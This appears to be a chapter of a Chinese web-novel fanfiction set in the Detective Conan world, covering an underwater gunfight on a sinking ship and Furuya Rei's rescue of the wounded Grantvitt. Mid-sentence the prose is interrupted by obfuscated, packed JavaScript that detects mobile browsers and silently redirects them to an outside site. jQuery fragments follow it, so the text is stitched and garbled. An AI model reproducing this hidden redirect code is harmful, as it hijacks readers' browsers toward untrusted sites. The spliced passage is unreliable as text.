轮船的倾斜愈发严重。
风祭巳我三步并作一步,借助水中浮力,轻松向上攀越两个楼层。
一个转弯之后,迎面遇见出乎意料的人影。
‘格兰威特?!’
对面之人没有张口发出声音,那双眼睛里分明在说这句话。
‘你果然也是为它而来!’
他逆着水流的阻力,侧身避开飞速旋转的子弹,血液从肩膀的布料向外弥漫,晕开阻挡视线的暗红。
他看向对面穿戴齐全的潜水设备,心中遗憾这次物资格外匮乏,难以随性选择行动方式。与此同时,一股浅薄的惊喜悄然涌起。
在「源清司」死亡之前,他似乎还能赢一笔情感能量。
——真是天赐良机。
米切尔·克鲁兹在心中默念。
他毫不犹豫地抬手扣下扳机,原本以防万一而携带的SPP-1M在此刻发挥巨大作用。水中不比陆地,对方的身手受到限制。先前在几人围堵之下,毫发无伤离场的格兰威特,一个照面就被子弹擦伤了。
在新一代天才出现之前,也曾是局里知名神枪手的米切尔·克鲁兹,对于这个结果终于感到满意。
他向身边人挥手,示意准备进攻。
根据FBI探员打听的可靠消息,古屋幸二没有将研发成功的人工智能核心交给MI6,卧室行李箱中的资料,只是不完整的部分数据。
可惜他计划完备,却让CIA那群蠢货使了绊子,导致离开宴会厅晚一步,只看见古屋幸二冰冷的尸体。
线索断了。
米切尔·克鲁兹本应愤怒,又或者恐慌任务失败的后果,却在这一刻忽然想起格兰威特。
他自然得知对方离开宴会厅后,一个人包围了五名MI6特工的消息。直属上司对那些文件兴趣不高,拿回来最好,不能拿回来也没关系,重要的是已经是半成品的人工智能核心。
故而,米切尔·克鲁兹在计划制定之初,便已将其放弃,排班严密的巡逻,围点打援的拦截……只是对外放出的烟雾弹。
而以“幕后者”身份闻名的格兰威特,竟然亲自出面夺取MI6搜刮干净的资料,只能说明对方也被他误导,以及更重要的——对方是孤身一人上船。
米切尔·克鲁兹滋生出阴暗的念头,又迅速打消。
格兰威特一人行动又能如何?事实摆在这里,对方很少现身人前,并不是缺乏琴酒那般强大的武力。至于原因,不重要了。
他放弃将功抵过的念头,不死心的带队潜入水中,试图寻找可能藏匿在某个地方的核心。
如今,转机降临。
下面几层有什么特殊的地方?
米切尔·克鲁兹想起石山正治的住处。
尽管他友好询问过石山正治,确认对方甚至不知道什么人工智能核心,也没有受过古屋幸二所托。
可是格兰威特从下层上来了啊。
无论是杀掉格兰威特将功抵过,还是夺取对方身上可能携带的核心,都不可能就此罢休。
‘前后包围。’
他向身后两名队员打手势。
水下环境,配有专门装备,又是三对一。
优势在他们。
......
降谷零站在摇摇晃晃的甲板边缘,右手扶住栏杆。
轮船倾斜的弧度已经清晰可见,将近三分之二的船体没入海洋。火光逐渐熄灭,月亮从乌云后出现,映照出一艘艘竭力挤满的救生艇。
二十分钟即将过去。
格兰威特依旧没有传回消息。
降谷零隐隐不安。
他想要去找格兰威特,刚刚迈出一步,发觉自己并不知道对方的目的地。一头扎进海里搜寻无疑是愚蠢的决定,直接打电话同样不是一个好主意。
他直到现在也没有看见,先前那位与格兰威特“相谈甚欢”的外国人。
降谷零咬了咬后槽牙,原地踱步一圈,毅然选择补发一封邮件,开始了愚蠢的搜寻行为。
组织中并不流行搭档情,对这些绝大多数奉行及时行乐主义的疯子而言,在任务无虞的前提下,搭档陷入危险,没有高高兴兴在旁看戏,甚至进一步落井下石,已经是品德高尚了。
降谷零尚未进入训练营,作为普通的外围成员时,就对此屡见不鲜。
只要不是刻意坑害队友,组织并不会追究。
归根究底,能力不足而已。
但是作为助手、学生、尚在考核期的外围成员,无论出于客观资格的限制,还是主观上不愿意考核因此取消,造成未来产生巨大的不确定性,他都不可能对格兰威特的失踪视而不见。
最重要的是,他不确定Boss是否会迁怒自己。从几条高层相关的传闻来看,Boss完全不像是任人唯贤、不在意亲疏远近的人啊。
降谷零看一眼被海水撞开的大门,径直踏入其中。
走廊与楼道中的吸顶灯,在海水的猝然撞击下,大部分已经失灵。海水吞没光线更是厉害,越往下越是四周昏暗,看不清人与物。
降谷零皱眉穿过又一层走廊,他的目标是一个成年人,无需精细搜寻,速度自然不慢。
从他下水到现在,大约五分钟过去,找遍两个楼层,没有发现任何人影。海水又天然隔音,他很难找到一些声音来判断格兰威特可能在的位置。
麻烦了。
降谷零破水而出,大口喘气,胡乱抹开挡在眼前的发丝,感到头疼不已。他从衣服里摸出手机,防水性能倒是不错,可惜没有格兰威特的回音。
他深吸一口气,抬头看一眼几乎完全沉海的船头,再次扎入水中。
……
风祭巳我靠坐在墙边,无视周身涌动蔓延的薄红色,单手捏着一支纯黑色钢笔。
他料想到这支钢笔应该是Boss通过某种手段放到他桌子上,作用无非是窃听、追踪等等。Boss在对他的处置结果尚且犹疑之外,着实对他不信任到极点。
唯独没有想到,这东西还有定时播放留音的功能。
刚才钢笔发声突然,他还没来得及远离米切尔·克鲁兹几个人所处范围,若非在海中自带隔音效果,必然被听清内容。
——‘来见我。’
没头没尾的一句话。
仿佛一个局面突然好转的信号,却无法让他安心下来。
风祭巳我手指无意识用力,冰冷的笔锋划破指腹,微不足道的刺痛让他倏然清醒几分,扶着墙壁艰难起身。
他的腹部破了一个洞,血液汩汩往外流。
若非海水浮力减少了行走所需力气,此刻怕是会直接跌倒。
米切尔·克鲁兹的确是个不简单的人物,自身能力非凡,懂得抓住时机便罢,手下竟也全然忠诚,不惜重伤甚至牺牲,也要牵绊住他的行动。
风祭巳我无声叹息,感受到身体由内而外扩散的阵阵寒意,竭力保持清醒的头脑,向上方游去。
他果然不喜欢打斗,也只有琴酒才喜欢这种“血与痛”的滋味。
胸腔中心脏跳动越发剧烈,逐渐生出重物碾压的灼烧感。偏偏四肢软弱无力,寒意阵阵扩散。
风祭巳我眨了眨眼,试图驱逐刺痛瞳孔的海水,看清那一团团模糊昏暗的黑影。
当然是无用功。
他冷静估算自己与海面的距离,以及期间需要保持的上浮速度。
或许人在濒死之时,总爱回忆过去。
他在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15313665|151378||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一瞬间想起许多人影,许多声音,许多风景——看不清那些人的面孔,听不清他们究竟说了什么,记不起风景所在地名。
这样一来,不是全然沦为衬托今生的、不重要的故事背景了吗?
“……”
风祭巳我知道自己上一世,只是一个普通人,与今生受困于病痛,从而籍籍无名的程度没有差别。
平淡、平凡、平庸。
除却幸运的认识了三五个好友。
十八年过去,遗忘实在正常。
毕竟他两辈子都没有亲历值得铭记的大事件,回看上学、毕业等人生节点,几乎没有什么差别。今生遇见系统,反而更加精彩。
真的没有差别吗?
他听见胸腔里心脏跳动愈发剧烈,噪音大得仿佛在耳边呐喊。
[‘风!’]
“……”
“——!”
风祭巳我恍然回神,一道模糊的人影逆光奔他而来,伸手试图阻止他的下沉。
他下意识抬手。
昏沉一瞬。
二人猛然扎出水面,那道声音格外清晰。
“大人,您受伤了?”
风祭巳我侧头看向降谷零,对方眉头紧皱,脸上写满关切与焦急。在将他拉出海面后,大概是怕他体力不支再沉下去,依旧没有松开攥住他小臂的力道。
“快艇被人投放在附近,我现在让它过来。”对方喋喋不休的说着,单手拿出一个巴掌大小的遥控器。
风祭巳我的目光移开他的面孔,视野瞬间清静。这艘巨型游轮只剩下一个尖角还在水面。眺望四周,风平浪静,逐渐出现一个由远及近的小黑点。
可能是失血过多的原因,他只能听见持续的嗡鸣声。
手臂上的力道倏然加重几分,风祭巳我回头看向降谷零,才知道对方刚刚在喊自己了。
“什么?”
他询问,不想解释,同样没有力气解释。
降谷零也无需他解释。
毕竟他现在这幅模样,实在称得上一声凄惨。
降谷零与格兰威特的相处时间不长,冷血无情、精于算计,便是他对格兰威特最大的印象。纵使对某些人存在微薄的情谊,他也逐渐不再相信能够影响格兰威特本人的决断。
几个小时之前,降谷零还在思考,等到通过考核、取得代号,绝对要找到机会解决格兰威特。
万万没想到,这个机会近在眼前。
降谷零不清楚格兰威特的武力值如何,但是不论怎样的能力,在身受重伤的如今,都不可能比得过完好无损的他吧?
甚至若非他及时将人捞上来,对方怕是要意识昏沉的没入海底了。
降谷零盯着格兰威特格外苍白的面色,某个想法蠢蠢欲动。
风祭巳我思维有些卡顿,但也不至于忽略降谷零眼中一闪而逝的杀意。
糟糕,他不会玩儿脱了吧?
风祭巳我慢半拍想到。
浓重的倦怠感几乎将他的意识冲垮,全凭「源清司」顽强的身体素质撑住没有睡着。平常几秒钟思考的事情,不受控制的反反复复延长至三五分钟。
——随便吧。
风祭巳我最终得出这一结论。
他恹恹的半垂下眼,索性耳鸣听不清周围声音,理所当然的无视了所有来自降谷零的试探。
以往并非不知道自己正在遗忘前世,也坦然接受了在疼痛折磨下精神萎靡,记忆力一日不如一日的处境。
而今却忽然不愿意面对了。
风祭巳我忍不住吐槽自己,简直莫名其妙。
“……”
他踩在坚硬的地板上,眼睑低垂几分。
简直是,莫名其妙。